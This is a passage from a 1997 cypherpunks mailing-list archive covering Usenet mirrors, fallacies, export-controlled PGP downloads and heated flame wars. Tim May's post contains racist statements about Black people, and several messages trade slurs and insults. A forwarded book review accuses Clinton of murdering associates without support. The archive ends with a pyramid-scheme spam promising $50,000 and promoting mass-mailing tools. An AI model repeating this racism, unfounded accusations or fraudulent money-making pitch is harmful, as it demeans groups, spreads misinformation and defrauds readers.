off of ssz or also off algebra and cyberpass.  And the archive's in Singapore.
Also, there are a bunch of Usenet mirrors, mostly local newsgroups.

Just to balance Singapore, it'd be nice to have an archive in Amsterdam :-)
Or in Virtual Tonga, or Niue.   Then there's the mirror at Ft. Meade :-)

At some point, though, it's difficult not to have reinvented Usenet.
Tim reiterates that Usenet really is distributed, robust, and uncensorable.
But the real Usenet has different failure modes - social ones:
> I used to try to copy many of my posts to alt.cypherpunks shortly after it
> was created, right after the the Great February End of Toad.com, but in
> recent months I haven'te bothered (mainly because no interesting
> communication was occurring in the alt.cypherpunks arena).
Usenet is a _great_ place to run Blacknet, because background noise is your friend,
and the uncensorability depends on piggybacking on the firehose.
It's a tougher place to run a cypherpunks list, which has enough problems
with signal-to-noise ratio as a mailing list, where majordomo filters out
the totally non-RTFM-capable users, without being an attractive nuisance for
crossposts from rec.politics.guns or alt.2600.flame.your.mama.
To some extent, running a sub-Usenet, or a robomoderated newsgroup which
kills crossposts from all but a select few groups, can help this.
But sci.crypt.research gets very little signal these days either, though no noise.




				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 18 Nov 1997 11:21:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mission:Critical and Informal Fallacies
In-Reply-To: <v0400277bb0967c576ccc@[139.167.130.248]>
Message-ID: <19971117190850.56376@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Nov 17, 1997 at 06:49:45PM -0500, Robert Hettinga wrote:
[...]
> In the meantime, I wanted to find a quick and dirty list of informal
> logical fallacies, and, while I was at it, I bumped into Mission:Critical,
> which is fairly comprenensive website on logic an critical thinking.
> Evidently you can earn college credit on it, for those of you who need
> college credit. :-). Here it is.
> 
> http://www.sjsu.edu/depts/itl/
> 
> Also, I've found a reasonable list of informal fallacies, from
> <http://ddi.digital.net/~setzerl/LOGIC.htm>, (which see for applicable
> attributions) which I've appended here. That way, you can all keep score at
> home. Expect me to use a bunch, whether I want to or not... :-). Notice
> that argumentum ad hominem is when you discount someone's opinion because
> of who they are or what they do. Vuperative insults, it seems, are another
> thing altogether.  :-).

Another very good source on critical thinking is the alt.athiesm faq.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 18 Nov 1997 11:22:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Racism: Wrong or incorrect?
In-Reply-To: <199711161339.HAA15536@dfw-ix1.ix.netcom.com>
Message-ID: <v03102801b096a7ce6df0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:38 AM -0700 11/15/97, Monty Cantsin wrote:

>Racism is one of those very interesting topics to discuss because
>large areas of the discussion are forbidden territory.
>

"Forbidden territory"? Not to me it isn't. I've seldom shied away from such
debate, except for a brief period in college when the local black
potentate, Judy McClellan, had her squad of black enforcers to beat up
anyone who spoke out against the black view on things. (Shades of Winnie
Mandela, multiple murderess.)

Since then I've acquired guns, and moved far away from where blacks
congregate in large numbers.


>Of course, what is most interesting about Tim's comments is that he
>appears to be out on the end of three bell curves in the United
>States:
>
>1. He does not believe (I think) that it is morally wrong to have a
>racist belief.
>
>2. He does not believe racist beliefs are a correct description of
>reality.
>
>3. He says what he thinks.

You left out I.Q. and general common sense. As Hettinga would put it:  ":-)".

(Period moved outside of quotes, despite rules of grammar, to avoid
confusion with the smiley.)

In any case, yes, I write what I think. I worked long and hard to ensure
that I can say whatever I damned well please.

>Another curious aspect of the taboos on racial discussions is the
>weird racially defined double standard of conduct.  Black power is
>more or less an acceptable topic of discussion.  White power is
>absolutely not.  Why?

Indeed, the "Black Student Union" is acceptable, but the "White Student
Union" is not only nonexistent on U.S. campuses, but it would probably be
forcibly shut down by law enforcement, or lawuits (same difference, these
days).

Ditto for "Black Studies." How many "Aryan Studies" programs do you see?

(I am well acquainted with the dominant leftist paradigm: "All fields,
espeically scientific fields, are expressions of the dominant whitemale
dead European cracker dominance of discourse. Marginalized peoples must
reclaim their voice by establishing safe havens for expression of their
racial and cultural aspirations.")

Seems some kinds of racism are more equal than others.


Fuck these racists.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 18 Nov 1997 09:29:26 +0800
To: Alex de Joode <usura@sabotage.org>
Subject: Special Thanks (Was: Re: PGP 5 SDK)
In-Reply-To: <199711172013.VAA15130@basement.replay.com>
Message-ID: <199711180120.UAA15023@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711172013.VAA15130@basement.replay.com>, on 11/17/97 
   at 09:13 PM, Alex de Joode <usura@sabotage.org> said:

>Georg.Uphoff@uni-konstanz.de sez:


>: Does anyone know where you can get PGP 5 SDK  except PGP.Inc. ?

>: It would be lovely if it be free and under circumvention of U.S. 
>: export control !

>ftp.replay.com:/pub/crypto/pgp/pgpsdk

>Unfortunately one .dll in the win32 file seems corrupt (bad crc), so
>until that get's fixed you can do with unix.


I just would like to give a special thanks to Alex and those at replay.com
for the invaluable service that they provide.

For those of you who think that their service only helps those outside the
US you are wrong. For the past year IBM has refused to publicly release
the 128bit version of the Netscape Navigator for OS/2 domestically. Just
this weekend someone uploaded this program to replay.com making it
available not only for those overseas but those of us here in the US.

Omce again Thanks!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHDs5Y9Co1n+aLhhAQGf7QP+Ip8muLJOxA7IzUA/lCRkrzhRNtUoOTRy
A4ZBXwH0d3zqJdsR8PDoAv/qRsxs0BcdRgceZCZi8hHzkureYXbv13yamsmaEW1H
h3prhL0ycUOi9j16zkKVlR3JIXVFtap7kNfP1tMtxkgx9ER7GJLkCUQHplzDZeH2
sAByUul7TYw=
=wBcH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 09:57:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9)
In-Reply-To: <199711171934.NAA24335@dfw-ix16.ix.netcom.com>
Message-ID: <3470F1F2.4A47@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Neva Remailer, cleverly pretending to be Monty Can2sin wrote:
> 
> -----BEGIN PGP FORGED MESSAGE-----
> I am of the opinion that Hettinga still has some value, but he should
> work on his style and do a little more homework before posting.
> 
> I think what he is trying to convey is relentless positive energy and
> friendliness.  This may work in person, but it tends to fail in ASCII.

  Electronic communication is a bare-bones ASCII interpretation of
our intended communication. i.e. - stripped of intonation and other
physical gestures which convey a meaning beyond the mere words we
speak, in themselves.
  Although there are some rudimentary ASCII images (:>) which can be
used to add elements of shared emotional or conceptual constructs to
the message we are attempting to convey.

  The Medium IS the Message.
  Until the email/communications medium evolves to allow us the ability
to add not only smiles and winks, etc., but also chagrin, doubt, self-
doubt, etc., to our online communications, the medium will remain an
impediment to conveying the totality of our true message, as opposed to
being merely an electronic version of 'pidgin Englich'.
  e.g. - When I read 'ymmv', I interpret it as 'You Make Me Vomit.'
 despite the fact that I now know it is usually meant as 'Your Mileage
 May Vary'. I still instinctively take it to mean the former, which
 sometimes results in miscommunication, and sometimes results in some
 of the most outrageous humor imaginable.

> He also doesn't seem to be aware that a good portion of his articles
> are insulting.  It's somewhat understandable if he is a recovering
> Democrat.  I've seen cases like this before and they are treatable.

  One of the advantages of the shortcomings of email as a communications
medium is that we _do_ see our intended meaning stripped bare, with the
result that we then have to 'think' (god forbid!) about what portion of
our message is being 'twisted' by the loss of our accompanying physical
gestures, and what portion of our message is being 'revealed' by the
removal of the 'socially polite' gestures that we use to 'conceal' our
true intent in our message.
  e.g. - When a dog bares its teeth while cringing, and the dog's human
 companion says, "It's just her way of smiling." Right...

  When we are attacked for what our ASCII Doppleganger 'appears' to 
reveal about us and our message, we tend to adopt a 'fight or flight'
posture, in which we then proceed to either 'suck ass', drooling on
ourself as we try to explain what we "meant to say," or we launch
a counter-attack which tends to confirm the opposite of what we had
intended to convey.
  The only True (TM) response to, "You are a racist, sexist, violent
asshole piece of shit!" is, "Yeah? So what's your point?"

  If you take a look at the posts which stir-up long threads of
animosity and dissention, I think you will recognize that they
are based on simple, universal 'keywords' which we then react to
by aligning ourself on this-or-that side of the Newtonian equation.
  We need to remind ourselves that, ever since the Theory of 
Relativity was born, we should take into account that Dr. Vulis'
theory that "All CypherPunks are cocksuckers." is subject to wide
variations of interpretation/acceptability, depending on whether
the 'CypherPunk' is named John Gilmore, or Carol Anne Cypherpunk.

  Not that I'm a 'sexist'...:> (;P) {:0) (:) {;{>}

  (:>)=======<  Help! They knocked me down and cut off my arms!

       \
  (:>)-------<  I'm healed! I'm healed.
       /

ArmMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 10:00:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4545] Mission:Critical and Informal Fallacies
In-Reply-To: <v0400277bb0967c576ccc@[139.167.130.248]>
Message-ID: <3470F3FD.321D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
>  Notice
> that argumentum ad hominem is when you discount someone's opinion because
> of who they are or what they do. Vuperative insults, it seems, are another
> thing altogether.  :-).

  Right... Like we're going to believe this when communist pedophile 
Nazi cocksucker Robert Hettinga tells it to us.
  I bet that when I look up 'vuperative' in the dictionary, he'll be
wrong about that, too.

AdHomineMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 18 Nov 1997 12:00:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mission:Critical and Informal Fallacies
In-Reply-To: <v0400277bb0967c576ccc@[139.167.130.248]>
Message-ID: <v03102801b096b2d7b4c9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:49 PM -0700 11/17/97, Robert Hettinga wrote:

>It's a shame that Tim seems to have killfiled me at this point. Usually, I
>like it, because then I can post stuff here without him tearing me a new
>asshole very time.  This time, since I'm doing the tearing, maybe he's just
>hiding. Which is fine, because he can run, but he can't hide on this crap
>anymore...

You give yourself too much credit, Little Bunny Rabbit.

Given that I've been posting, and you haven't, you appear to be delusional
as well as frightened.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Tue, 18 Nov 1997 12:28:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: KC is an Idiot
Message-ID: <MOPAGGPJEBEOAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:09 AM 11/17/97 -0800, Kent Crispin wrote:
>You quite clearly don't know what you are talking about, little boy. 
>My Dad got me my first gun when I was around 8, 40 some years ago. 
By
>the time I was your emotional age (12) I knew that guns weren't toys.

Well, you got the edge on me there; I got my first when I was 12, but
my dad let me shoot his .357 Magnum when I was 7.

I recall a period of time when some punks were following me around
because I had ratted on one of their friends. I got tired of it, got a
B-27 silhouette target, and shot out the X-ring with my Para-Ordnance
P10.45. I nailed the used target to my front door, and started wearing
a fanny pack, and it was amazing how the punk sightings diminished
dramatically. I never even had to draw my gun--all I had to do was
convince them I carried one and was willing to use it effectively if
necessary. Of course, if you would rather be shot than live with the
consequences of shooting someone that is your choice. But saying that
having a gun wouldn't make a difference is pretty ignorant--it can
make a HUGE difference IF you are willing to use it--and pay attention
to your surroundings such that you have the gun in hand before you are
in the middle of a circle of assholes with drawn weapons.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNHET0vVLt662DSXhAQE/CAf/Z7rhFGFLS6VFHuXP3/V+LATUh4Syf7Ge
g+Fg1FFwf2iV3upBwae7sVTmkv1oQiCYOSo07+Sjl3ot+SsvztztCvFqnUjpFiMg
AzQbyG8oKaeyv9qZyvMWTveJz2GkoqFX0MFnRz5ABpqmDS159hCxvs62dMzuo9+X
0mXZA4KLMoXsxiBBKGpwDJr8llcb6eQfaIw1FthZ+lzxrgVFDIl3O5/XyzfH+UPP
4CFf109B+knFIcpAIdQiS9ZQoNZcWTX247kqOm244fk76gluAGy0skT9l1FMCvbG
8LrlKvyO0ZWR39q6fDSPyoD+/os5/9B7oPY7vK71KkwRe3XtiNjneA==
=sgBM
-----END PGP SIGNATURE-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 18 Nov 1997 10:25:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9) (fwd)
Message-ID: <199711180218.UAA19348@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 17 Nov 1997 19:40:02 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9)

>   Electronic communication is a bare-bones ASCII interpretation of
> our intended communication. i.e. - stripped of intonation and other
> physical gestures which convey a meaning beyond the mere words we
> speak, in themselves.
>   Although there are some rudimentary ASCII images (:>) which can be
> used to add elements of shared emotional or conceptual constructs to
> the message we are attempting to convey.
> 
>   The Medium IS the Message.

You clearly don't read real books...especialy those of the great authors of the
world.

People who believe the spin doctorism 'The medium is the message' usualy
spend their time watching television or working for it.

>   Until the email/communications medium evolves to allow us the ability
> to add not only smiles and winks, etc., but also chagrin, doubt, self-
> doubt, etc., to our online communications, the medium will remain an
> impediment to conveying the totality of our true message, as opposed to
> being merely an electronic version of 'pidgin Englich'.

This could happen provided we got rid of television and made graphics harder
to print...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 18 Nov 1997 12:42:16 +0800
To: cypherpunks@toad.com
Subject: Re: You're Dead
In-Reply-To: <Pine.LNX.3.96.971117065157.20387D-100000@bureau42.ml.org>
Message-ID: <v03102803b096bab88e9b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:46 PM -0700 11/17/97, TruthMonger wrote:

>  You must be a boonie-dweller, like myself. I live in an area where,
>if I lose my account, I have no options. It amazes me that I have been
>able, thus far, to send thinly veiled death threats to world leaders
>and The Richest Man in the US (TM) without being 'killed or caught.'

But I am nowhere near the Richest Man in the U.S., though I had lunch
several times with the 4th or 5th richest man in the U.S.

--TM

>  The (successful) attempts of grey-shrouded background entities to
>launch attacks on Tim May, the CypehrPunks list, etc., have given many
>of those I communicate with privately cause to believe that it may be
>time for The Movement (TM) to move underground, once again.

There's that TM again. I may be a shit to some, but I'm not _The_ Movement.
Trademark, Truth Monger, Tim May, or The Movement.


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 18 Nov 1997 12:59:54 +0800
To: cypherpunks@cyberpass.net
Subject: secret life of bill clinton
Message-ID: <199711180449.UAA02113@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




based on rumor this book is selling extremely well.
why have you not seen it in the mainstream media? answer:
because the mainstream media is secretly controlled.

it is my opinion that we have the government we deserve
based on our total apathy and irresponsibility when it
comes to the political process, speaking as an american.

as slimy and corrupt as Bill is, I think he is just the
first layer of the rotteness and that there are many people
in government who are far more sinister who use him as a pawn
in even more diabolical schemes.

I think we are witnessing a scale of corruption at such
high levels and of such an extent as to have never
before been seen in western civilization.

the big question is whether the american public will wake
up before the next election, or whether nothing
will happen with "business as usual"...

buy this book and help free yourself from the invisible
prison we find ourselves in!!


------- Forwarded Message

Date: Mon, 17 Nov 1997 14:05:21 -0600
From: jlbtexas <jlbtexas@swbell.net>
To: Ignition Point <Ignition-Point@majordomo.pobox.com>
Subject: IP: THE SECRET LIFE OF BILL CLINTON

THE SECRET LIFE OF BILL CLINTON
                           Book Review

By Cathy Leahy

Two hundred years ago Frenchman Alexis  de  Tocqueville  came  to
America  to analyze a fledgling democracy and he left celebrating
her  by  writing  "Democracy  in  America."   Four   years   ago,
Englishman  Ambrose  Evans-Pritchard came with that same hope and
instead has written America's eulogy in "The Secret Life of  Bill
Clinton".  After  reading  this  well written and well documented
book, one might wish  to  rename  it,   "The  Death  of  American
Democracy At The Hands of Bill Clinton."

And if one didn't know the book is about an  American  president,
one  would  think  it describes Hitler, Stalin or better yet, the
(now executed for their crimes) Ceaucescus of Romania.  In  fact,
Evans-Pritchard  warns that under the corruption of Bill Clinton,
"you can sniff the pungent odors of decay in  the  American  body
politic" that was in evidence in continental Europe in the 1920s.

This is a chilling account of  an  emerging  Clinton  pattern  of
lawlessness  with  the  witting  and  unwitting  complicity  of a
complacent establishment that should know  better.  And  although
Evans-Pritchard  doesn't  say  it, he paints a startling parallel
for anyone who has studied history and the rise of Adolf Hitler.

Like Hitler, Clinton used established rules to legally  establish
himself  and quickly went about subverting those same rules. Like
Hitler, once in  office  Clinton  set  about  politicizing  every
government  agency  under  his control, replacing established law
enforcement  with  his  own  loyalists  that  would  silence  his
critics.   Like  Hitler,  he  then  took  control of the press to
further silence  dissent,  although  Clinton  has  done  it  with
seduction  and  lies.   Then,  unencumbered by law, he went about
exterminating his inconvenient associates, two of whom were Vince
Foster  and  Jerry Parks.  That done, he must now create a reason
for people to give up their liberty in favor of safety  with  the
Oklahoma  City  bombing.  Hitler used his henchman to provoke and
help an already irate dissident, Marinus van der Lubbe,  to  burn
the  German  Reichstag  in  1933.  Clinton  used Oklahoma City to
expand his power. If not stopped - and  soon,  what  will  he  do
next?

Evans-Pritchard tells us of the Dixie Mafia and  about  Clinton's
rampant  corruption in Arkansas. He tells us that the Dixie Mafia
is far more dangerous than the Cosa Nostra. Thirty murders  in  a
ten  year period is nothing to Clinton's Dixie Mafia with its one
hundred and fifty.

This  book  is  a  portrait,  with  documentation,  of   American
despotism  that  we  never thought could happen.  Left to his own
devices, Clinton will  put  the  final  nail  in  the  coffin  of
American  democracy. The author does offer some hope, though, but
it will have to come from ordinary citizens who still believe  in
the rule of law.

But if Clinton is tried and convicted for his crimes, will he  be
punished  properly?  Will  he  be  locked  away  along  with  his
accomplices never to be heard from again or will he simply be set
out  to pasture, free to live out his goal of a "one world order"
with himself at the helm?

It's a frightening account but it is a "must  read"  by  we,  the
"ordinary   citizens."    And   although   America's   government
controlled schools will never  allow  it,  this  book  should  be
required reading in every classroom - to save the country.


[The Secret Life of Bill  Clinton.  By  Ambrose  Evans-Pritchard,
Regnery  Publishing,  Inc.,  Nov.  1997.  Available  through  the
Washington Weekly web site.]




  Published in the Nov. 17, 1997 issue of The Washington Weekly
  Copyright 1997 The Washington Weekly (http://www.federal.com)
          Reposting permitted with this message intact


**********************************************
To subscribe or unsubscribe, email:
     majordomo@majordomo.pobox.com
with the message:
     subscribe ignition-point email@address
or
     unsubscribe ignition-point email@address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 11:03:33 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9) (fwd)
In-Reply-To: <199711180218.UAA19348@einstein.ssz.com>
Message-ID: <34710248.5FA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Austin redneck hippie, Jim Choate, wrote:
> > From: TruthMonger <tm@dev.null>
> > Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9)
> >   Electronic communication is a bare-bones ASCII interpretation of
> > our intended communication. i.e. - stripped of intonation and other
> > physical gestures which convey a meaning beyond the mere words we
> > speak, in themselves.
> >   Although there are some rudimentary ASCII images (:>) which can be
> > used to add elements of shared emotional or conceptual constructs to
> > the message we are attempting to convey.
> >
> >   The Medium IS the Message.
> 
> You clearly don't read real books...especialy those of the great authors of the
> world.

  Been there, done that, got the T-shirt, had no idea what it meant...

> People who believe the spin doctorism 'The medium is the message' usualy
> spend their time watching television or working for it.

  Those who *do*not* believe 'The medium is the message' usually think
that Socrates' world-veiw would have been exactly the same if he had
been using the InterNet as his means of viewing and communicating with
the world.
 
> >   Until the email/communications medium evolves to allow us the ability
> > to add not only smiles and winks, etc., but also chagrin, doubt, self-
> > doubt, etc., to our online communications, the medium will remain an
> > impediment to conveying the totality of our true message, as opposed to
> > being merely an electronic version of 'pidgin Englich'.
> 
> This could happen provided we got rid of television and made graphics harder
> to print...

  Right, Jim. Give us your prediction of when this is going to happen...
(Yes, I *am* laughing at you...thanks for asking.)

  Reality is that even when the medium evolves to the point where we
can use it to convey the totality of what we are trying to convey, that
after we have done so the 'powers that be' will flash a graphic of
us on the computer screen, making us look for all the world like a
drug-dealing, terrorist pedophile.
  There will be few sheeple with the dicrimination to recognize that,
in your case, it is true, in 'my' case, it is not.

Not that I'm a troublemaker...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Tue, 18 Nov 1997 04:34:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5 SDK
Message-ID: <199711172013.VAA15130@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Georg.Uphoff@uni-konstanz.de sez:


: Does anyone know where you can get PGP 5 SDK  except PGP.Inc. ?

: It would be lovely if it be free and under circumvention of U.S. 
: export control !

ftp.replay.com:/pub/crypto/pgp/pgpsdk

Unfortunately one .dll in the win32 file seems corrupt (bad crc),
so until that get's fixed you can do with unix.

: Thanks in advance.

: Nappy


--
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 18 Nov 1997 11:53:41 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: How anonymous?
In-Reply-To: <145e152a12d12c409f67fd9e4aaa33f4@anon.efga.org>
Message-ID: <Pine.BSF.3.91.971117211842.25093D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



It would seem that if you are able to profile Dick's writing style to 
such a degree that you can verify that a post is from Dick, then I can 
profile Dick's writing style in such a way as to accurately mimic Dick. 
On the other hand, if you knew Dick, we wouldn't be having this discussion.

On Fri, 14 Nov 1997, Anonymous wrote:

> > It seems that if Dick has a certain vocabulary,
> > uses a certain sentence structure, etc., and
> > regularly posts using a nym, that this form and
> > content could be traced to Dick, so the likelihood
> > of the post coming from him and not Jane would
> > be that much increased.
> 
> This is true.  Probably most people know who I am.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SBJ Enterprises <sbj123456@aol.com>
Date: Tue, 18 Nov 1997 16:28:34 +0800
To: <cypherpunks@toad.com>
Subject: Get Started Right Away And Have A Great Christmas
Message-ID: <18161.235751.90463299 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear friend,

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problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and
paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off,
but I promised myself that I would not "rip-off" anyone, no matter how
much money it cost me!

A good program to help do this is Ready Aim Fire,
an email extracting and mass mail program:
  http://microsyssolutions.com/raf/


Another more advanced one can be found at:
  http://www.extractor.com/ads.htm

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 days was done.  By January 30th, I had received
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my emailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life.  You get out of life what you put into it.'  Through trial and
error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
